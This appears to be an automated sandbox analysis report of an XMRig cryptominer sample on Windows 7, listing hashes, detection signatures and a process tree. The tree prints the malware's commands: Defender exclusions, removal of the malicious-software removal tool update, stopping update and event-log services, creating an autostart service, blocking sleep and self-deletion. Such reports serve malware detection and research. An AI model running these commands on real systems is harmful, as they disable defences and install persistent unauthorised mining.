Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
22-12-2024 12:58
Static task
static1
Behavioral task
behavioral1
Sample
5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe
Resource
win7-20240903-en
General
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Target
5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe
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Size
5.6MB
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MD5
d21817c6044664437fe276b828d3b589
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SHA1
0dc6e689f2a2a0babfef50bd47e9268f4a751b75
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SHA256
5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a
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SHA512
5ab20e59b0198636d6dcbd3115283db981dda86b35521e82d045e1ad12b78699bae88a9107c041182beb2084b3423190f8c9216c386a89fc72c6dda4fcf7c478
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7i:xFKoU8O5/b2XViSjX310SeyGc7u7i
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/1284-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1284-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1284-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1284-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1284-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1284-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1284-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1284-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1872 powershell.exe 2364 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1800 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 472 Process not Found 2140 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 472 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2652 powercfg.exe 2676 powercfg.exe 3064 powercfg.exe 2244 powercfg.exe 272 powercfg.exe 2340 powercfg.exe 2604 powercfg.exe 2624 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2140 set thread context of 2068 2140 lutlgidagtja.exe 86 PID 2140 set thread context of 1284 2140 lutlgidagtja.exe 90 -
resource yara_rule behavioral1/memory/1284-24-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-25-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1284-40-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2736 sc.exe 748 sc.exe 1564 sc.exe 1964 sc.exe 2348 sc.exe 1984 sc.exe 2880 sc.exe 296 sc.exe 1760 sc.exe 3008 sc.exe 2684 sc.exe 2596 sc.exe 2816 sc.exe 1004 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0bdcd397154db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1872 powershell.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 1232 5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe 2140 lutlgidagtja.exe 2364 powershell.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 2140 lutlgidagtja.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe 1284 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1872 powershell.exe Token: SeShutdownPrivilege 2624 powercfg.exe Token: SeShutdownPrivilege 2652 powercfg.exe Token: SeShutdownPrivilege 2604 powercfg.exe Token: SeShutdownPrivilege 2676 powercfg.exe Token: SeDebugPrivilege 2364 powershell.exe Token: SeShutdownPrivilege 3064 powercfg.exe Token: SeShutdownPrivilege 2340 powercfg.exe Token: SeShutdownPrivilege 2244 powercfg.exe Token: SeShutdownPrivilege 272 powercfg.exe Token: SeLockMemoryPrivilege 1284 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2876 wrote to memory of 2168 2876 cmd.exe 39 PID 2876 wrote to memory of 2168 2876 cmd.exe 39 PID 2876 wrote to memory of 2168 2876 cmd.exe 39 PID 1800 wrote to memory of 2016 1800 cmd.exe 64 PID 1800 wrote to memory of 2016 1800 cmd.exe 64 PID 1800 wrote to memory of 2016 1800 cmd.exe 64 PID 796 wrote to memory of 1464 796 cmd.exe 73 PID 796 wrote to memory of 1464 796 cmd.exe 73 PID 796 wrote to memory of 1464 796 cmd.exe 73 PID 2140 wrote to memory of 2068 2140 lutlgidagtja.exe 86 PID 2140 wrote to memory of 2068 2140 lutlgidagtja.exe 86 PID 2140 wrote to memory of 2068 2140 lutlgidagtja.exe 86 PID 2140 wrote to memory of 2068 2140 lutlgidagtja.exe 86 PID 2140 wrote to memory of 2068 2140 lutlgidagtja.exe 86 PID 2140 wrote to memory of 2068 2140 lutlgidagtja.exe 86 PID 2140 wrote to memory of 2068 2140 lutlgidagtja.exe 86 PID 2140 wrote to memory of 2068 2140 lutlgidagtja.exe 86 PID 2140 wrote to memory of 2068 2140 lutlgidagtja.exe 86 PID 2140 wrote to memory of 1284 2140 lutlgidagtja.exe 90 PID 2140 wrote to memory of 1284 2140 lutlgidagtja.exe 90 PID 2140 wrote to memory of 1284 2140 lutlgidagtja.exe 90 PID 2140 wrote to memory of 1284 2140 lutlgidagtja.exe 90 PID 2140 wrote to memory of 1284 2140 lutlgidagtja.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe"C:\Users\Admin\AppData\Local\Temp\5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1232 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1872
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2168
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:3008
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2736
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2816
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1984
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2880
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2604
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2624
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2652
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2676
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2684
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:296
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:1004
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:748
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2016
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2364
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:796 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1464
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2596
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1564
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1964
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1760
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2348
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3064
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:272
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2244
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2340
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2068
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1284
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5d21817c6044664437fe276b828d3b589
SHA10dc6e689f2a2a0babfef50bd47e9268f4a751b75
SHA2565787ab83d6d4c3bc21ed48768b0e6d960b01a237497be04f9e4bfea117fda31a
SHA5125ab20e59b0198636d6dcbd3115283db981dda86b35521e82d045e1ad12b78699bae88a9107c041182beb2084b3423190f8c9216c386a89fc72c6dda4fcf7c478